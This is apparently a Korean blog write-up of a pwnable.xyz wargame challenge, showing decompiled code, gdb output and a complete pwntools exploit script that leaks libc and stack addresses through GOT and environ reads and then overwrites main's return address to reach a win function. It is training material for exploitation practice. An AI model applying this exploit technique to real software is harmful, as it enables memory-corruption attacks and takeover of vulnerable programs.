이 문제의 핵심 키워드는 스택 주소 leak 이다.
while ( 1 )
{
print_menu();
menu = read_ulong();
if ( menu != 1 )
break;
printf("Addr: ");
n = read_ulong();
puts((const char *)n);
}
if ( menu != 2 )
break;
printf("Addr: ");
n = read_ulong();
printf("Value: ");
*(_QWORD *)n = read_ulong();
|
main에서 임의의 주소에 읽고 쓰는 작업을 할 수 있다. Full RELRO가 걸려있어 GOT overwrite는 불가능하다.
win 함수가 있지만 .got 영역에는 쓸 수 없으니 스택에서 return address를 조작해야 한다.
스택 주소는 libc의 environ에서 가져올 수 있다. 디버깅에서 ret와 environ의 차이를 확인하고 페이로드를 짜면 된다.
gdb-peda$ p environ
$1 = (char **) 0x7fff3729ea58
gdb-peda$ reg rsp
RSP: 0x7fff3729e940 --> 0x4009e0 (<__libc_csu_init>: push r15)
gdb-peda$ reg rbp
RBP: 0x7fff3729e960 --> 0x4009e0 (<__libc_csu_init>: push r15)
|
rbp랑 environ이 0xF8 차이가 나므로 main의 ret과 environ은 0xF0 차이가 난다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 |
from pwn import *
import argparse parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('svc.pwnable.xyz', 30019) else : p = process('./challenge') def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def Read(addr:int) : p.writeafter(b'> ', b'1') p.writeafter(b': ', str(addr).encode()) r = p.readline()[:-1] t = p.readline()[:-1] while not b'Menu' in t : r += b'\x0A'+t t = p.readline()[:-1] return u64(r.ljust(8, b'\x00')) def Write(addr:int, val:int) : p.writeafter(b'> ', b'2') p.writeafter(b': ', str(addr).encode()) p.writeafter(b': ', str(val).encode()) def exploit() : win = 0x400905 puts_got = 0x600FA0 puts_resolved = Read(puts_got) libc_base = puts_resolved - 0x6FD60 environ = libc_base + 0x3BA098 # libc_base = puts_resolved - 0x83CC0 # local # environ = libc_base + 0x1E7D60 # local log_info('puts = '+hex(puts_resolved)) log_info('libc base address: '+hex(libc_base)) log_info('environ = '+hex(environ)) stack_environ = Read(environ) stack_main_ret = stack_environ - 0xF0 log_info('envp = '+hex(stack_environ)) log_info('main ret = '+hex(stack_main_ret)) Write(stack_main_ret, win) p.writeafter(b'> ', b'0') p.interactive() if __name__ == '__main__' : exploit() |
Last update: 4/8/2020
'Wargame > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / bookmark (0) | 2020.04.08 |
---|---|
pwnable.xyz / attack (0) | 2020.04.08 |
pwnable.xyz / fclose (0) | 2020.01.18 |
pwnable.xyz / message (0) | 2020.01.17 |
pwnable.xyz / UAF (0) | 2020.01.17 |